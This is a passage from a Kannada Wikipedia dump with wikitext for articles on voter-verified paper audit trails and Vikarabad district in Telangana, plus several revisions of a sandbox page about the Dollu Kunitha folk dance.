ಕಷ್ಟಸಾಧ್ಯ.<ref>http://www.dnaindia.com/mumbai/report-evm-paper-trail-introduced-in-8-of-543-constituencies-1982463</ref> ==ಚಿತ್ರಗಳು== [[File:IVotronicVVPAT.jpg|link=https://en.wikipedia.org/wiki/File:IVotronicVVPAT.jpg|right|thumb|ವಿವಿಪ್ಯಾಟ್{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }} ಲಗತ್ತನ್ನು ಹೊಂದಿರುವ ES & S ಡಿ ಆರ್ ಇ ಮತದಾನ ಯಂತ್ರ]] [[File:Desi_accuvote-tsx_vvpat.jpg|link=https://en.wikipedia.org/wiki/File:Desi_accuvote-tsx_vvpat.jpg|right|thumb|ಡೈಬೋಲ್ಡ್{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }} ಎಲೆಕ್ಷನ್ ಸಿಸ್ಟಮ್ಸ್ ನ  AccuVote-TSx ಡಿ.ವಿ.ಇ. ಮತದಾನ ಯಂತ್ರವನ್ನು ವಿವಿಪ್ಯಾಟ್  ಅಟ್ಯಾಚ್ಮೆಂಟ್ನೊಂದಿಗೆ ]] == ಉಲ್ಲೇಖಗಳು == {{reflist}} == ಉದಾಹರಣೆಗಳು== {{colbegin|2}} * [https://web.archive.org/web/20070127111242/http://www.diebold.com/dieboldes/AccuVoteTSX.swf AccuVote TSX with Printer] * [https://web.archive.org/web/20061021170624/http://www.sequoiavote.com/photo.php?photo=SequoiaEdgeWithVeriVotePrinter.jpg&title=Sequoia%20AVC%20Edge%20With%20VeriVote%20Printer AVC Edge with VeriVote Printer] * [https://web.archive.org/web/20071224114830/http://www.sequoiavote.com/edge2Plus.html Sequoia Voting Systems' Edge2Plus] * [https://web.archive.org/web/20071224115019/http://www.sequoiavote.com/advantagePlus.html Sequoia Voting Systems' AdvantagePlus] * [https://web.archive.org/web/20061031083048/http://www.hartic.com/innerpage.php?pageid=53 eSlate with Voter Verifiable Paper Audit Trail] * [https://archive.is/20130122082426/http://www.essvote.com/HTML/products/ivotronic_rtal.html iVotronic Real Time Audit Log] * [http://www.avantetech.com/products/elections/dre/ AVANTE DRE VOTE-TRAKKER with Voter-Verified Paper Record] * [http://www.smartmatic.com/solutions/automated-election-system/saes-home-page/ Smartmatic's SAES System] {{Webarchive|url=https://web.archive.org/web/20091001185443/http://www.smartmatic.com/solutions/automated-election-system/saes-home-page |date=2009-10-01 }} {{colend|2}} [[ವರ್ಗ:ವಿದ್ಯುನ್ಮಾನ ಮತದಾನ]] 45v5tjlb1d5ef2xi7t2k4z4okh9qkw9 ವಿಕಾರಾಬಾದ್ ಜಿಲ್ಲೆ 0 93521 1116456 1059601 2022-08-23T13:01:55Z InternetArchiveBot 69876 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki {{Infobox India district | Name = ವಿಕಾರಾಬಾದ್ | Local = | State = ತೆಲಂಗಾಣ | Division = | HQ = ವಿಕಾರಾಬಾದ್ | Map = Vikarabad in Telangana (India).svg | Coordinates = | Area = 3386.00 | Population = 927140 | Year = 2011 | Urban = | Literacy = | SexRatio = | Collector = | Tehsils = 18 | LokSabha = | Assembly = 4 | Highways = | Vehicle = TS–34<ref>{{cite news|title=Telangana New Districts Names 2016 Pdf TS 31 Districts List|url=https://timesalert.com/telangana-new-districts-list/21462/|work=Timesalert.com 11 October 2016}}</ref> | Rain = | Website = http://vikarabad.telangana.gov.in/ }} '''ವಿಕಾರಾಬಾದ್ ಜಿಲ್ಲೆಯು''' [[ತೆಲಂಗಾಣ]] ರಾಜ್ಯದಲ್ಲಿ ಒಂದು ಜಿಲ್ಲೆಯಾಗಿದೆ. ವಿಕಾರಾಬಾದ್ ಜಿಲ್ಲಾ ಕೇಂದ್ರವಾಗಿದೆ.ಇದು ಜಿಲ್ಲೆಯಾಗುವದಕ್ಕಿಂತ ಮುಂಚೆ ರಂಗಾರೆಡ್ಡಿ ಜಿಲ್ಲೆಯ ಭಾಗವಾಗಿತ್ತು. <ref name="profile">{{Cite web|url=http://vikarabad.telangana.gov.in/wp-content/plugins/pdfjs-viewer-shortcode/pdfjs/web/viewer.php?file=http%3A%2F%2Fvikarabad.telangana.gov.in%2Fwp-content%2Fuploads%2F2017%2F03%2F27-Vikarabad.pdf&download=true&print=true&openfile=false|title=Vikarabad district|website=Official website Vikarabad district, 31 March 2017|access-date=29 ನವೆಂಬರ್ 2017|archive-date=31 ಮಾರ್ಚ್ 2017|archive-url=https://web.archive.org/web/20170331210134/http://vikarabad.telangana.gov.in/wp-content/plugins/pdfjs-viewer-shortcode/pdfjs/web/viewer.php?file=http%3A%2F%2Fvikarabad.telangana.gov.in%2Fwp-content%2Fuploads%2F2017%2F03%2F27-Vikarabad.pdf&download=true&print=true&openfile=false|url-status=dead}}</ref><ref name="district">{{cite web|title=Vikarabad district|url=http://newdistrictsformation.telangana.gov.in/uploads/gos-circulars/1476130690987248.Vikarabad.pdf|website=New Districts Formation Portal|publisher=Government of Telangana|archiveurl=https://web.archive.org/web/20161012075154/http://newdistrictsformation.telangana.gov.in/uploads/gos-circulars/1476130690987248.Vikarabad.pdf|access-date=29 ನವೆಂಬರ್ 2017|archive-date=12 ಅಕ್ಟೋಬರ್ 2016|url-status=bot: unknown}}</ref> ==ಭೂಗೋಳ == ಜಿಲ್ಲೆಯು 3,386.00 ಚದರ ಕಿಲೋಮೀಟರ್ (1,307.34 ಚದರ ಮೈಲಿ) ಪ್ರದೇಶವನ್ನು ಹೊಂದಿದೆ . ಜಿಲ್ಲೆಯು ಸಂಗ್ರರೆಡ್ಡಿ, ರಂಗ ರೆಡ್ಡಿ, ಮಹಬೂಬ್ನಗರ ಮತ್ತು ಕರ್ನಾಟಕ ರಾಜ್ಯಗಳ ಜಿಲ್ಲೆಗಳು ಸುತ್ತುವರಿದಿದೆ. <ref name="info">{{cite web|title=District Profile – THE OFFICIAL WEBSITE OF vikarabad DISTRICT|url=http://vikarabad.telangana.gov.in/district-profile/|website=vikarabad.telangana.gov.in|access-date=2017-11-29|archive-date=2017-12-04|archive-url=https://web.archive.org/web/20171204094749/http://vikarabad.telangana.gov.in/district-profile/|url-status=dead}}</ref> ==ಜನಸಂಖ್ಯಾಶಾಸ್ತ್ರ== 2011 ರ ಜನಗಣತಿಯಂತೆ, ಜಿಲ್ಲೆಯ ಜನಸಂಖ್ಯೆಯು 927,140 ಜನಸಂಖ್ಯೆ ಹೊಂದಿದೆ. ==ಆಡಳಿತ ವಿಭಾಗಗಳು == ಜಿಲ್ಲೆಯು ತಾಂಡೂರ್ ಮತ್ತು ವಿಕಾರಾಬಾದ್ ಎರಡು ಆದಾಯ ವಿಭಾಗಗಳನ್ನು ಹೊಂದಿರುತ್ತದೆ. ಇದನ್ನು 18 ಮಂಡಲಗಳಾಗಿ ವಿಂಗಡಿಸಲಾಗಿದೆ.<ref>{{cite news|title=K Chandrasekhar Rao appoints collectors for new districts|url=http://www.deccanchronicle.com/nation/current-affairs/111016/k-chandrasekhar-rao-appoints-collectors-for-new-districts.html|work=Deccan Chronicle, 11 October 2016}}</ref> ==ಮಂಡಲಗಳು== {{colbegin|2}} ===ತಾಂಡೂರ್ ಆದಾಯ ವಿಭಾಗ=== # ಬಶೀರಬಾದ್ # ಬೊಮ್ಮರಸ್ಪೇಟ್ # ಡೌತಾಬಾದ್ #ಕೊಡಂಗಲ್ # ಪೆಡ್ಡೆಮುಲ್ # ತಾಂಡೂರ್ # ಯೇಲಾಳ್ ===ವಿಕಾರಾಬಾದ್ ಆದಾಯ ವಿಭಾಗ=== #ಬಂಟ್ವಾರಂ #ಧರೂರ್ #ಡೊಮ #ಕುಲ್ಕಚೇರ್ಲಾ #ಕೋಟೆಪಲ್ಲಿ #ಮಾರ್ಪಲ್ಲಿ #ಮೊಮಿನ್ಪೆಟ್ #ನವಾಬ್ಬೆಟ್ #ಪುದುರ್ # ಪರಿಗಿ # ವಿಕಾರಾಬಾದ್ {{colend|2}} ==ಉಲ್ಲೇಖಗಳು== {{reflist}} ==ಬಾಹ್ಯ ಕೊಂಡಿಗಳು == *[http://119.226.159.30/vikarabad/wp-content/uploads/2016/10/248.vikarabad-248.pdf District Administration –Formation/Reorganization of District, Revenue ]{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }} *[http://vikarabad.telangana.gov.in www.vikarabad.telangana.gov.in] [[ವರ್ಗ: ಭಾರತದ ಜಿಲ್ಲೆಗಳು]] [[ವರ್ಗ:ತೆಲಂಗಾಣದ ಜಿಲ್ಲೆಗಳು]] aohvrxbtwmijsvtyd5k0f2thj0w8mk9 ಸದಸ್ಯ:Pavanaja/ನನ್ನ ಪ್ರಯೋಗಪುಟ 2 95351 1116568 1113695 2022-08-24T05:22:35Z Pavanaja 5 wikitext text/x-wiki {{Red|ಈ ಪಠ್ಯವು ಕೆಂಪು ಬಣ್ಣದಲ್ಲಿದೆ}} ಇದನ್ನು ಪಡೆಯಲು ಈ ರೀತಿ ಬರೆಯಿರಿ - <nowiki>{{Red|ಈ ಪಠ್ಯವು ಕೆಂಪು ಬಣ್ಣದಲ್ಲಿದೆ}}</nowiki> ಈ ಪುಟಕ್ಕೆ ನಿಮ್ಮ ಸಹಿ ಹಾಕಿ. ಸಹಿ ಹಾಕಲು ಈ ರೀತಿ ಟೈಪ್ ಮಾಡಿರಿ - <nowiki>--~~~~</nowiki> ಡೊಳ್ಳು ಕುಣಿತ ಒಂದು ಜಾನಪದ ಕುಣಿತ<ref>ಕರ್ನಾಟಕ ಜನಪದ ಕಲೆಗಳ ಕೋಶ, ಸಂ.ಡಾ. ಹಿ.ಚಿ. ಬೋರಲಿಂಗಯ್ಯ, ಕನ್ನಡ ವಿಶ್ವವಿದ್ಯಾಲಯ, ಹಂಪಿ, ಎರಡನೆಯ ಮುದ್ರಣ, ೨೦೧೫, ಪು.೩೫೧</ref> ಜನಪದ ಕಲೆಗಳಲ್ಲಿ ಗಂಡುಕಲೆ ಎನಿಸಿರುವ ಡೊಳ್ಳು ಕುಣಿತ ಪುರುಷರಿಗೆ ಮೀಸಲಾದ ಕಲೆ.<ref>{{cite web |last1=ಸಂ: ಗೊ. ರು. |first1=ಚನ್ನಬಸಪ್ಪ |title=ಡೊಳ್ಳು ಕುಣಿತ |url=http://vishvakannada.com/%E0%B2%B2%E0%B3%87%E0%B2%96%E0%B2%A8/%E0%B2%95%E0%B2%B0%E0%B3%8D%E0%B2%A8%E0%B2%BE%E0%B2%9F%E0%B2%95-%E0%B2%9C%E0%B2%A8%E0%B2%AA%E0%B2%A6-%E0%B2%95%E0%B2%B2%E0%B3%86%E0%B2%97%E0%B2%B3%E0%B3%81-%E0%B2%AD%E0%B2%BE%E0%B2%97-%E0%B3%A8/ |website=ವಿಶ್ವ ಕನ್ನಡ |publisher=ವಿಶ್ವ ಕನ್ನಡ |accessdate=3 May 2020}}</ref> ಒಳ್ಳೆಯ ಮೈಕಟ್ಠು ಮತ್ತು ಶಕ್ತಿ ಉಳ್ಳ ಕಲಾವಿದರು ಮಾತ್ರ ಈ ಕಲೆಯನ್ನು ಪ್ರದರ್ಶಿಸಬಲ್ಲರು. ಉತ್ತರ ಕರ್ನಾಟಕದ ಬಹುಪಾಲು ಜಿಲ್ಲೆಗಳು ಹಾಗೂ ಚಿತ್ರದುರ್ಗ ಮತ್ತು ಶಿವಮೊಗ್ಗ ಜಿಲ್ಲೆಗಳಲ್ಲಿ ಪ್ರಚಲಿತವಿರುವ ಡೊಳ್ಳು ಕುಣಿತ ತನ್ನ ವಿಶಿಷ್ಟವಾದ ನೃತ್ಯ ಶೈಲಿಗಳಿಂದ ಉಳಿದುಕೊಂಡು ಬಂದಿದೆ. ಡೊಳ್ಳು ಕುಣಿತ- ಒಂದು ಜನಪದ ಹಾಗೂ ಶಾಸ್ತ್ರೀಯ ಕಲೆ, ನೃತ್ಯ. ಡೊಳ್ಳು ಬಾರಿಸಿಕೊಂಡು ಕುಣಿಯುವುದರಿಂದ ಇದಕ್ಕೆ ಡೊಳ್ಳು ಕುಣಿತ ಎಂಬ ಹೆಸರು. ಡೊಳ್ಳು ಸುರನೆಂಬ ರಕ್ಕಸ ತಪಸ್ಸಿನಿಂದ ಪರಶಿವನನ್ನು ಮೆಚ್ಚಿಸಿ ಪರಶಿವನು ತನ್ನ ಹೊಟ್ಟೆಯಲ್ಲಿಯೆ ನೆಲೆಸಬೇಕೆಂದು ವರಪಡೆದ. ಅದರಂತೆ ಶಿವನು ಗಂಗೆ, ಗೌರಿಯನ್ನು ತೊರೆದು ರಕ್ಕಸನ ಹೊಟ್ಟೆಯನ್ನು ಸೇರಿದ. ಶಿವನಿಲ್ಲದ ಕೈಲಾಸ ಕಳೆಗುಂದಿತು. ದುಃಖಿತರಾದ ಶಿವಗಣಗಳು ವಿಷ್ಣುವಿನ ಮೊರೆಹೊಕ್ಕರು ವಿಷ್ಣುವಿನ ರಹಸ್ಯ ನಿರ್ದೇಶನದಂತೆ ಪಂಚ ರಾತ್ರಿಗಳು (ಕಾಮ, ಕ್ರೊದ, ಮೋಹ, ಮದ, ಮಾತ್ಸರ್ಯಗಳು ಪಂಚ ರಾತ್ರಿಯ ಪ್ರತೀಕ) ಸೇರುವುದು. ಶಿವನು ಕೋಪದಿಂದ ಕಣ್ಣು ತೆರೆದರೆ ಪ್ರಳಯವೆ ಉಂಟಾಗುವುದೆಂದು ಅರಿತ ವಿಷ್ಣು ಡೊಳ್ಳಾಸುರನ ಹೊಟ್ಟಯನ್ನೇ ವಾದ್ಯವಿಶೇಷವಾಗಿ ಮಾಡಿಕೊಂಡು ಅವನ ಮೂಳೆಗಳಿಂದ ಡೊಳ್ಳು ಬಾರಿಸಲು ಆರಂಭಿಸಿದ. ಶಿವನು ಆ ವಾದ್ಯದ ದನಿಗೆ ಮಾರು ಹೋಗಿ ಲಾಸ್ಯದಲ್ಲಿ ತೊಡಗಿದ. ಈ ವೇಳೆಗೆ ತೊಡೆಯ ಗೌರಿ, ಜೆಡೆಯ ಗಂಗೆಯರು ಬಂದು ಶಿವನನ್ನು ಸೇರಿದರು. ಶಿವ ಸುಪ್ರೀತನಾದ! ಮುಂದೆ ಡೊಳ್ಳು ಶಿವಸ್ತುತಿಯ ವಿಶೇಷ ವಾದ್ಯವಾಯಿತು. ತಲತಲಾಂತರದಿಂದ ದೈವ ಆರಾಧನೆಯ ಸಾಧನವಾಗಿ ಬೆಳೆದು ಬಂದ ಈ ಕಲೆ ಇತ್ತೀಚೆಗೆ ಮನರಂಜನೆಯ ಮಾಧ್ಯಮವಾಗಿ ಮನ್ನಣೆಯನ್ನು ಗಳಿಸಿದೆ. ಯಾವುದೇ ಧಾರ್ಮಿಕ ಸಾಂಸ್ಕ್ರತಿಕ ಸಮಾರಂಭಗಳಲ್ಲಿ ಇದು ಒಂದು ಮುಖ್ಯ ಕಲೆಯಾಗಿ ಗುರುತಿಸಿಕೊಂಡಿದೆ. ಡೊಳ್ಳು ಕುಣಿತವನ್ನು ಚೆನ್ನಾಗಿ ಮೈಗೂಡಿಸಿಕೊಂಡು ಪರಿಣಿತಿಯನ್ನು ಸಾಧಿಸಿರುವವರೆಂದರೆ ಕುರುಬ ಜನಾಂಗ. ಬಿಡುವು ದೊರೆತಾಗಲೆಲ್ಲಾ ಅದರ ಅಭ್ಯಾಸ ಅಭಿವ್ಯಕ್ತಿಗಳಲ್ಲಿ ಆಸಕ್ತರಾಗಿರುತ್ತಿದ್ದರು. ಕಲಾವಿದರಿಗೆ ವಯಸ್ಸಿನ ಕಟ್ಟುಕಟ್ಟಳೆಯಿಲ್ಲ. ಅದರೆ ಡೊಳ್ಳು ಹೊತ್ತು ಕುಣಿಯುವ ದೈಹಿಕ ಶಕ್ತಿ ಇರಬೇಕಾಗುತ್ತದೆ. ಇತ್ತೀಚೆಗೆ ಮಹಿಳೆಯರೂ ಡೊಳ್ಳು ಕುಣಿತ ಮಾಡುತ್ತಾರೆ.<ref>{{cite web |last1=ಎಸ್. |first1=ಗುರುರಾಜ |title=ಗಂಡು ಕಲೆ ಡೊಳ್ಳು ಕುಣಿತ ಕರಗತ ಮಾಡಿಕೊಂಡ ಯುವತಿಯರು|url=https://web.archive.org/web/20200503045522/https://kannada.oneindia.com/features/haveri-women-team-famous-for-folk-dance-dollu-kunitha-187118.html|website=ವನ್ ಇಂಡಿಯಾ ಕನ್ನಡ |publisher=ವನ್ ಇಂಡಿಯಾ ಕನ್ನಡ |accessdate=3 May 2020}}</ref> ಕರ್ನಾಟಕ ಸರಕಾರದ ಕನ್ನಡ ಮತ್ತು ಸಂಸ್ಕೃತಿ ಇಲಾಖೆಯ [http://kannadasiri.co.in/ ಜಾಲತಾಣದಲ್ಲಿ] ಮಾಹಿತಿ ಇದೆ. ==ಉಲ್ಲೇಖ== <References /> [[ವರ್ಗ: ಪ್ರಯೋಗಪುಟ]] 1m7fqwm29bh73xddidwo7p26zmqrdc2 1116569 1116568 2022-08-24T05:31:34Z Pavanaja 5 wikitext text/x-wiki {{Red|ಈ ಪಠ್ಯವು ಕೆಂಪು ಬಣ್ಣದಲ್ಲಿದೆ}} ಇದನ್ನು ಪಡೆಯಲು ಈ ರೀತಿ ಬರೆಯಿರಿ - <nowiki>{{Red|ಈ ಪಠ್ಯವು ಕೆಂಪು ಬಣ್ಣದಲ್ಲಿದೆ}}</nowiki> ಈ ಪುಟಕ್ಕೆ ನಿಮ್ಮ ಸಹಿ ಹಾಕಿ. ಸಹಿ ಹಾಕಲು ಈ ರೀತಿ ಟೈಪ್ ಮಾಡಿರಿ - <nowiki>--~~~~</nowiki> ಡೊಳ್ಳು ಕುಣಿತ ಒಂದು ಜಾನಪದ ಕುಣಿತ<ref>ಕರ್ನಾಟಕ ಜನಪದ ಕಲೆಗಳ ಕೋಶ, ಸಂ.ಡಾ. ಹಿ.ಚಿ. ಬೋರಲಿಂಗಯ್ಯ, ಕನ್ನಡ ವಿಶ್ವವಿದ್ಯಾಲಯ, ಹಂಪಿ, ಎರಡನೆಯ ಮುದ್ರಣ, ೨೦೧೫, ಪು.೩೫೧</ref> [[File:DolluKunitha18.JPG|thumb|DolluKunitha18]] ಜನಪದ ಕಲೆಗಳಲ್ಲಿ ಗಂಡುಕಲೆ ಎನಿಸಿರುವ ಡೊಳ್ಳು ಕುಣಿತ ಪುರುಷರಿಗೆ ಮೀಸಲಾದ ಕಲೆ.<ref>{{cite web |last1=ಸಂ: ಗೊ. ರು. |first1=ಚನ್ನಬಸಪ್ಪ |title=ಡೊಳ್ಳು ಕುಣಿತ |url=http://vishvakannada.com/%E0%B2%B2%E0%B3%87%E0%B2%96%E0%B2%A8/%E0%B2%95%E0%B2%B0%E0%B3%8D%E0%B2%A8%E0%B2%BE%E0%B2%9F%E0%B2%95-%E0%B2%9C%E0%B2%A8%E0%B2%AA%E0%B2%A6-%E0%B2%95%E0%B2%B2%E0%B3%86%E0%B2%97%E0%B2%B3%E0%B3%81-%E0%B2%AD%E0%B2%BE%E0%B2%97-%E0%B3%A8/ |website=ವಿಶ್ವ ಕನ್ನಡ |publisher=ವಿಶ್ವ ಕನ್ನಡ |accessdate=3 May 2020}}</ref> ಒಳ್ಳೆಯ ಮೈಕಟ್ಠು ಮತ್ತು ಶಕ್ತಿ ಉಳ್ಳ ಕಲಾವಿದರು ಮಾತ್ರ ಈ ಕಲೆಯನ್ನು ಪ್ರದರ್ಶಿಸಬಲ್ಲರು. ಉತ್ತರ ಕರ್ನಾಟಕದ ಬಹುಪಾಲು ಜಿಲ್ಲೆಗಳು ಹಾಗೂ ಚಿತ್ರದುರ್ಗ ಮತ್ತು ಶಿವಮೊಗ್ಗ ಜಿಲ್ಲೆಗಳಲ್ಲಿ ಪ್ರಚಲಿತವಿರುವ ಡೊಳ್ಳು ಕುಣಿತ ತನ್ನ ವಿಶಿಷ್ಟವಾದ ನೃತ್ಯ ಶೈಲಿಗಳಿಂದ ಉಳಿದುಕೊಂಡು ಬಂದಿದೆ. ಡೊಳ್ಳು ಕುಣಿತ- ಒಂದು ಜನಪದ ಹಾಗೂ ಶಾಸ್ತ್ರೀಯ ಕಲೆ, ನೃತ್ಯ. ಡೊಳ್ಳು ಬಾರಿಸಿಕೊಂಡು ಕುಣಿಯುವುದರಿಂದ ಇದಕ್ಕೆ ಡೊಳ್ಳು ಕುಣಿತ ಎಂಬ ಹೆಸರು. ಡೊಳ್ಳು ಸುರನೆಂಬ ರಕ್ಕಸ ತಪಸ್ಸಿನಿಂದ ಪರಶಿವನನ್ನು ಮೆಚ್ಚಿಸಿ ಪರಶಿವನು ತನ್ನ ಹೊಟ್ಟೆಯಲ್ಲಿಯೆ ನೆಲೆಸಬೇಕೆಂದು ವರಪಡೆದ. ಅದರಂತೆ ಶಿವನು ಗಂಗೆ, ಗೌರಿಯನ್ನು ತೊರೆದು ರಕ್ಕಸನ ಹೊಟ್ಟೆಯನ್ನು ಸೇರಿದ. ಶಿವನಿಲ್ಲದ ಕೈಲಾಸ ಕಳೆಗುಂದಿತು. ದುಃಖಿತರಾದ ಶಿವಗಣಗಳು ವಿಷ್ಣುವಿನ ಮೊರೆಹೊಕ್ಕರು ವಿಷ್ಣುವಿನ ರಹಸ್ಯ ನಿರ್ದೇಶನದಂತೆ ಪಂಚ ರಾತ್ರಿಗಳು (ಕಾಮ, ಕ್ರೊದ, ಮೋಹ, ಮದ, ಮಾತ್ಸರ್ಯಗಳು ಪಂಚ ರಾತ್ರಿಯ ಪ್ರತೀಕ) ಸೇರುವುದು. ಶಿವನು ಕೋಪದಿಂದ ಕಣ್ಣು ತೆರೆದರೆ ಪ್ರಳಯವೆ ಉಂಟಾಗುವುದೆಂದು ಅರಿತ ವಿಷ್ಣು ಡೊಳ್ಳಾಸುರನ ಹೊಟ್ಟಯನ್ನೇ ವಾದ್ಯವಿಶೇಷವಾಗಿ ಮಾಡಿಕೊಂಡು ಅವನ ಮೂಳೆಗಳಿಂದ ಡೊಳ್ಳು ಬಾರಿಸಲು ಆರಂಭಿಸಿದ. ಶಿವನು ಆ ವಾದ್ಯದ ದನಿಗೆ ಮಾರು ಹೋಗಿ ಲಾಸ್ಯದಲ್ಲಿ ತೊಡಗಿದ. ಈ ವೇಳೆಗೆ ತೊಡೆಯ ಗೌರಿ, ಜೆಡೆಯ ಗಂಗೆಯರು ಬಂದು ಶಿವನನ್ನು ಸೇರಿದರು. ಶಿವ ಸುಪ್ರೀತನಾದ! ಮುಂದೆ ಡೊಳ್ಳು ಶಿವಸ್ತುತಿಯ ವಿಶೇಷ ವಾದ್ಯವಾಯಿತು. ತಲತಲಾಂತರದಿಂದ ದೈವ ಆರಾಧನೆಯ ಸಾಧನವಾಗಿ ಬೆಳೆದು ಬಂದ ಈ ಕಲೆ ಇತ್ತೀಚೆಗೆ ಮನರಂಜನೆಯ ಮಾಧ್ಯಮವಾಗಿ ಮನ್ನಣೆಯನ್ನು ಗಳಿಸಿದೆ. ಯಾವುದೇ ಧಾರ್ಮಿಕ ಸಾಂಸ್ಕ್ರತಿಕ ಸಮಾರಂಭಗಳಲ್ಲಿ ಇದು ಒಂದು ಮುಖ್ಯ ಕಲೆಯಾಗಿ ಗುರುತಿಸಿಕೊಂಡಿದೆ. ಡೊಳ್ಳು ಕುಣಿತವನ್ನು ಚೆನ್ನಾಗಿ ಮೈಗೂಡಿಸಿಕೊಂಡು ಪರಿಣಿತಿಯನ್ನು ಸಾಧಿಸಿರುವವರೆಂದರೆ ಕುರುಬ ಜನಾಂಗ. ಬಿಡುವು ದೊರೆತಾಗಲೆಲ್ಲಾ ಅದರ ಅಭ್ಯಾಸ ಅಭಿವ್ಯಕ್ತಿಗಳಲ್ಲಿ ಆಸಕ್ತರಾಗಿರುತ್ತಿದ್ದರು. ಕಲಾವಿದರಿಗೆ ವಯಸ್ಸಿನ ಕಟ್ಟುಕಟ್ಟಳೆಯಿಲ್ಲ. ಅದರೆ ಡೊಳ್ಳು ಹೊತ್ತು ಕುಣಿಯುವ ದೈಹಿಕ ಶಕ್ತಿ ಇರಬೇಕಾಗುತ್ತದೆ. ಇತ್ತೀಚೆಗೆ ಮಹಿಳೆಯರೂ ಡೊಳ್ಳು ಕುಣಿತ ಮಾಡುತ್ತಾರೆ.<ref>{{cite web |last1=ಎಸ್. |first1=ಗುರುರಾಜ |title=ಗಂಡು ಕಲೆ ಡೊಳ್ಳು ಕುಣಿತ ಕರಗತ ಮಾಡಿಕೊಂಡ ಯುವತಿಯರು|url=https://web.archive.org/web/20200503045522/https://kannada.oneindia.com/features/haveri-women-team-famous-for-folk-dance-dollu-kunitha-187118.html|website=ವನ್ ಇಂಡಿಯಾ ಕನ್ನಡ |publisher=ವನ್ ಇಂಡಿಯಾ ಕನ್ನಡ |accessdate=3 May 2020}}</ref> ಕರ್ನಾಟಕ ಸರಕಾರದ ಕನ್ನಡ ಮತ್ತು ಸಂಸ್ಕೃತಿ ಇಲಾಖೆಯ [http://kannadasiri.co.in/ ಜಾಲತಾಣದಲ್ಲಿ] ಮಾಹಿತಿ ಇದೆ. ==ಉಲ್ಲೇಖ== <References /> [[ವರ್ಗ: ಪ್ರಯೋಗಪುಟ]] t3crpulmgu3ek8o5ks2daske555vqvp 1116570 1116569 2022-08-24T05:32:14Z Pavanaja 5 wikitext text/x-wiki {{Red|ಈ ಪಠ್ಯವು ಕೆಂಪು ಬಣ್ಣದಲ್ಲಿದೆ}} ಇದನ್ನು ಪಡೆಯಲು ಈ ರೀತಿ ಬರೆಯಿರಿ - <nowiki>{{Red|ಈ ಪಠ್ಯವು ಕೆಂಪು ಬಣ್ಣದಲ್ಲಿದೆ}}</nowiki> ಈ ಪುಟಕ್ಕೆ ನಿಮ್ಮ ಸಹಿ ಹಾಕಿ. ಸಹಿ ಹಾಕಲು ಈ ರೀತಿ ಟೈಪ್ ಮಾಡಿರಿ - <nowiki>--~~~~</nowiki> ಡೊಳ್ಳು ಕುಣಿತ ಒಂದು ಜಾನಪದ ಕುಣಿತ<ref>ಕರ್ನಾಟಕ ಜನಪದ ಕಲೆಗಳ ಕೋಶ, ಸಂ.ಡಾ. ಹಿ.ಚಿ. ಬೋರಲಿಂಗಯ್ಯ, ಕನ್ನಡ ವಿಶ್ವವಿದ್ಯಾಲಯ, ಹಂಪಿ, ಎರಡನೆಯ ಮುದ್ರಣ, ೨೦೧೫, ಪು.೩೫೧</ref> [[File:DolluKunitha18.JPG|thumb|ಡೊಳ್ಳು ಕುಣಿತ]] ಜನಪದ ಕಲೆಗಳಲ್ಲಿ ಗಂಡುಕಲೆ ಎನಿಸಿರುವ ಡೊಳ್ಳು ಕುಣಿತ ಪುರುಷರಿಗೆ ಮೀಸಲಾದ ಕಲೆ.<ref>{{cite web |last1=ಸಂ: ಗೊ. ರು. |first1=ಚನ್ನಬಸಪ್ಪ |title=ಡೊಳ್ಳು ಕುಣಿತ |url=http://vishvakannada.com/%E0%B2%B2%E0%B3%87%E0%B2%96%E0%B2%A8/%E0%B2%95%E0%B2%B0%E0%B3%8D%E0%B2%A8%E0%B2%BE%E0%B2%9F%E0%B2%95-%E0%B2%9C%E0%B2%A8%E0%B2%AA%E0%B2%A6-%E0%B2%95%E0%B2%B2%E0%B3%86%E0%B2%97%E0%B2%B3%E0%B3%81-%E0%B2%AD%E0%B2%BE%E0%B2%97-%E0%B3%A8/ |website=ವಿಶ್ವ ಕನ್ನಡ |publisher=ವಿಶ್ವ ಕನ್ನಡ |accessdate=3 May 2020}}</ref> ಒಳ್ಳೆಯ ಮೈಕಟ್ಠು ಮತ್ತು ಶಕ್ತಿ ಉಳ್ಳ ಕಲಾವಿದರು ಮಾತ್ರ ಈ ಕಲೆಯನ್ನು ಪ್ರದರ್ಶಿಸಬಲ್ಲರು. ಉತ್ತರ ಕರ್ನಾಟಕದ ಬಹುಪಾಲು ಜಿಲ್ಲೆಗಳು ಹಾಗೂ ಚಿತ್ರದುರ್ಗ ಮತ್ತು ಶಿವಮೊಗ್ಗ ಜಿಲ್ಲೆಗಳಲ್ಲಿ ಪ್ರಚಲಿತವಿರುವ ಡೊಳ್ಳು ಕುಣಿತ ತನ್ನ ವಿಶಿಷ್ಟವಾದ ನೃತ್ಯ ಶೈಲಿಗಳಿಂದ ಉಳಿದುಕೊಂಡು ಬಂದಿದೆ. ಡೊಳ್ಳು ಕುಣಿತ- ಒಂದು ಜನಪದ ಹಾಗೂ ಶಾಸ್ತ್ರೀಯ ಕಲೆ, ನೃತ್ಯ. ಡೊಳ್ಳು ಬಾರಿಸಿಕೊಂಡು ಕುಣಿಯುವುದರಿಂದ ಇದಕ್ಕೆ ಡೊಳ್ಳು ಕುಣಿತ ಎಂಬ ಹೆಸರು. ಡೊಳ್ಳು ಸುರನೆಂಬ ರಕ್ಕಸ ತಪಸ್ಸಿನಿಂದ ಪರಶಿವನನ್ನು ಮೆಚ್ಚಿಸಿ ಪರಶಿವನು ತನ್ನ ಹೊಟ್ಟೆಯಲ್ಲಿಯೆ ನೆಲೆಸಬೇಕೆಂದು ವರಪಡೆದ. ಅದರಂತೆ ಶಿವನು ಗಂಗೆ, ಗೌರಿಯನ್ನು ತೊರೆದು ರಕ್ಕಸನ ಹೊಟ್ಟೆಯನ್ನು ಸೇರಿದ. ಶಿವನಿಲ್ಲದ ಕೈಲಾಸ ಕಳೆಗುಂದಿತು. ದುಃಖಿತರಾದ ಶಿವಗಣಗಳು ವಿಷ್ಣುವಿನ ಮೊರೆಹೊಕ್ಕರು ವಿಷ್ಣುವಿನ ರಹಸ್ಯ ನಿರ್ದೇಶನದಂತೆ ಪಂಚ ರಾತ್ರಿಗಳು (ಕಾಮ, ಕ್ರೊದ, 